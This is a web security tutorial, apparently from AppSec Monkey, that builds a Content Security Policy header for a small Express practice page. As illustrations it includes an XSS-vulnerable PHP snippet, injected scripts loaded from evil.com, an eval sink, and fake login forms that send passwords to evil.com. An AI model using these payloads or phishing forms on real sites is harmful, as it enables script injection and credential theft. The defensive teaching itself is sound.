The original and up-to-date post can be found here. Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!
Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.
XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.
Here is a PHP script that is vulnerable to XSS:
echo "Search results for: "
. $_GET('search') . ""
Enter fullscreen mode
Exit fullscreen mode
It is vulnerable because it generates HTML unsafely. The search parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:
https://www.example.com/?search= alert("XSS")
Enter fullscreen mode
Exit fullscreen mode
Opening the link results in the following HTML getting rendered in the user's browser:
Search results for: alert("XSS")
Enter fullscreen mode
Exit fullscreen mode
There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.
As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.
And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).
CSP protects against XSS attacks quite effectively in the following ways.
By preventing the page from executing inline scripts, attacks like injecting
alert("XSS)
Enter fullscreen mode
Exit fullscreen mode
By preventing the page from loading scripts from arbitrary servers, attacks like injecting
src="https://evil.com/hacked.js">
Enter fullscreen mode
Exit fullscreen mode
By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.
// A Simple Calculator var op1 = getUrlParameter("op1"); var op2 = getUrlParameter("op2"); var sum = eval(`$op1> + $op2>`); console.log(`The sum is: $sum>`);
Enter fullscreen mode
Exit fullscreen mode
By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.
method="POST" action="https://evil.com/collect"> Session expired! Please login again. Username type="text" name="username"/> Password type="password" name="pass"/> type="Submit" value="Login"/>
Enter fullscreen mode
Exit fullscreen mode
And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.
You can enforce a Content Security Policy on your website in two ways.
Send a Content-Security-Policy HTTP response header from your web server.
Content-Security-Policy: .
Enter fullscreen mode
Exit fullscreen mode
Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.
Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.
In this case, you can still use CSP by specifying a meta tag in the HTML markup.
http-equiv="Content-Security-Policy" content=". ">
Enter fullscreen mode
Exit fullscreen mode
Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.
Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.
This is the HTML:
CSP Practice rel="stylesheet" href="/stylesheets/style.css" /> rel="preconnect" href="https://fonts.gstatic.com"> href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet"> CSP Practice console.log("Inline script attack succeeded."); src="https://www.appsecmonkey.com/evil.js"> src="https://www.google-analytics.com/analytics.js"> src="https://code.jquery.com/jquery-1.12.4.js"> Cat fact: id="cat-fact"> $( document ).ready(function() $.ajax( url: "https://cat-fact.herokuapp.com/facts/random", type: "GET", crossDomain: true, success: function (response) var catFact = response.text; $('#cat-fact').text(catFact); >, error: function (xhr, status) alert("error"); > >); console.log(`Good script with jQuery succeeded`); >); src=" data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO 9TXL0Y4OHwAAAABJRU5ErkJggg= na">alt="Failed to show image." />
method="POST" action="https://www.appsecmonkey.com/evil"> Session expired, enter password to continue.
type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."> type="submit" value="Submit"/>
Enter fullscreen mode
Exit fullscreen mode
And we also have app.js which is a miniature express application for the purpose of setting the Content-Security-Policy header. Right now it's sending an empty CSP which does nothing.
var express = require("express"); var app = express(); const csp = ""; app.use( express.static("public", setHeaders: function (res, path) res.set("Content-Security-Policy", csp); > >) ); var listener = app.listen(8080, function () console.log("Listening on port " + listener.address().port); >);
Enter fullscreen mode
Exit fullscreen mode
Here is how the page looks.
If you look at the console, there are a couple of messages.
Inline script attack succeeded. Sourced script attack succeeded. Good script with jQuery succeeded
Enter fullscreen mode
Exit fullscreen mode
At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).
Great. Let's start adding security.
default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.
Let's start by setting default-src to 'self' . The single quotes are mandatory. If you just write self without the single quotes, it would refer to a website with the URL self .
let defaultSrc = "default-src 'none'"; const csp = [defaultSrc].join(";");
Enter fullscreen mode
Exit fullscreen mode
Now refresh the page and verify that everything has exploded, as expected.
Open Chrome developer tools, and you will find that it's filled with CSP violation errors.
Note
You will see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.
The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src directive does not cover the form-target directive. Let's fix that next.
form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.
let defaultSrc = "default-src 'none'"; let formAction = "form-action 'self'"; const csp = [defaultSrc, formAction].join(";");
Enter fullscreen mode
Exit fullscreen mode
Refresh the page, and verify that it works by trying to submit the form.
❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".
Beautiful. Works as expected.
Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none' .
let frameAncestors = "frame-ancestors 'none'"; const csp = [defaultSrc, formAction, frameAncestors].join(";");
Enter fullscreen mode
Exit fullscreen mode
If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.
Alright. Enough denying, let's allow something next.
Looking at the console, the next violations are:
❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.
You can fix this with the style-src directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.
. let styleSrc = "style-src"; styleSrc += " 'self'"; styleSrc += " https://fonts.googleapis.com/"; const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");
Enter fullscreen mode
Exit fullscreen mode
Refresh the page, and wow! Such style.
Let's move on to images.
Instead of the beautiful red dot, we have the following error:
❌ Refused to load the image 'data :image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback
We can fix our images with the img-src directive like so.
let imgSrc = "img-src"; imgSrc += " 'self'"; imgSrc += " data:"; const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(";");
Enter fullscreen mode
Exit fullscreen mode
We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.
Refresh the page and. Yes! It's a red dot in all its glory.
As for our fonts, we have the following error.
❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback
We can make it go away by adding the font-src directive like so:
let fontSrc = "font-src"; fontSrc += " https://fonts.gstatic.com/"; const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(";");
Enter fullscreen mode
Exit fullscreen mode
Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.
Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-. ') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
The second one is the attacker's sourced script. Let's keep blocking this one as well.
❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Then there is Google analytics which we want to allow.
❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
We also want to allow jQuery.
❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
And finally, we want to allow the script that fetches cat facts.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-. ') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).
let scriptSrc = "script-src"; scriptSrc += " 'self'"; scriptSrc += " https://www.google-analytics.com/analytics.js"; scriptSrc += " https://code.jquery.com/jquery-1.12.4.js"; const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join( ";" );
Enter fullscreen mode
Exit fullscreen mode
The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:
. Cat fact: id="cat-fact"> src="/javascripts/cat-facts.js"> .
Enter fullscreen mode
Exit fullscreen mode
And move the contents of the script into javascripts/cat-facts.js like so:
$(document).ready(function () $.ajax( url: "https://cat-fact.herokuapp.com/facts/random", type: "GET", crossDomain: true, success: function (response) var catFact = response.text; $("#cat-fact").text(catFact); >, error: function (xhr, status) alert("error"); > >); console.log(`Good script with jQuery succeeded`); >);
Enter fullscreen mode
Exit fullscreen mode
Now refresh, and. bummer. One more violation to deal with before we win!
❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive.
The connect-src directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.
let connectSrc = "connect-src"; connectSrc += " https://cat-fact.herokuapp.com/facts/random"; const csp = [ defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc, connectSrc ].join(";");
Enter fullscreen mode
Exit fullscreen mode
Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:
Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random
Enter fullscreen mode
Exit fullscreen mode
Let's plug it into Google's CSP evaluator and see how we did.
Pretty good. The yellow in the script-src is just because we used 'self' which can be problematic if e.g. host user-submitted content.
But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.
If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use script-src 'sha256-' to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.
You can follow along by forking this CodeSandbox. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.
You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-. ') is required to enable inline execution.
So let's just add that hash to our policy like so, and the page will work again.
. scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='"; scriptSrc += " 'unsafe-inline'"; .
Enter fullscreen mode
Exit fullscreen mode
We also have to add the unsafe-inline for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.
Note
Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.
The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.
Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:
const nonce = uuid.v4(); scriptSrc += ` 'nonce-$nonce>'`;
Enter fullscreen mode
Exit fullscreen mode
You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:
script nonce=" "> $(document).ready(function () $.ajax( url: "https://cat-fact.herokuapp.com/facts/random", .
Enter fullscreen mode
Exit fullscreen mode
Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.
WARNING
Don't create a middleware that just replaces all script tags with "script nonce=. " because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.
If your own code, or a dependency on your page, is using text-to-JavaScript functions like eval , you might run into a warning like this.
❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".
If it's your own code, refactor it not to use eval . If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.
If not, then you will have to add the unsafe-eval keyword to your script-src . This will forfeit the DOM-XSS protection that CSP provides.
scriptSrc += " 'unsafe-eval'"; // cut my life into pieces this is my last resort
Enter fullscreen mode
Exit fullscreen mode
The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.
Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.
The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.
It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.
Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.
☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!
If you like this article, check out the other application security guides we have on AppSec Monkey as well.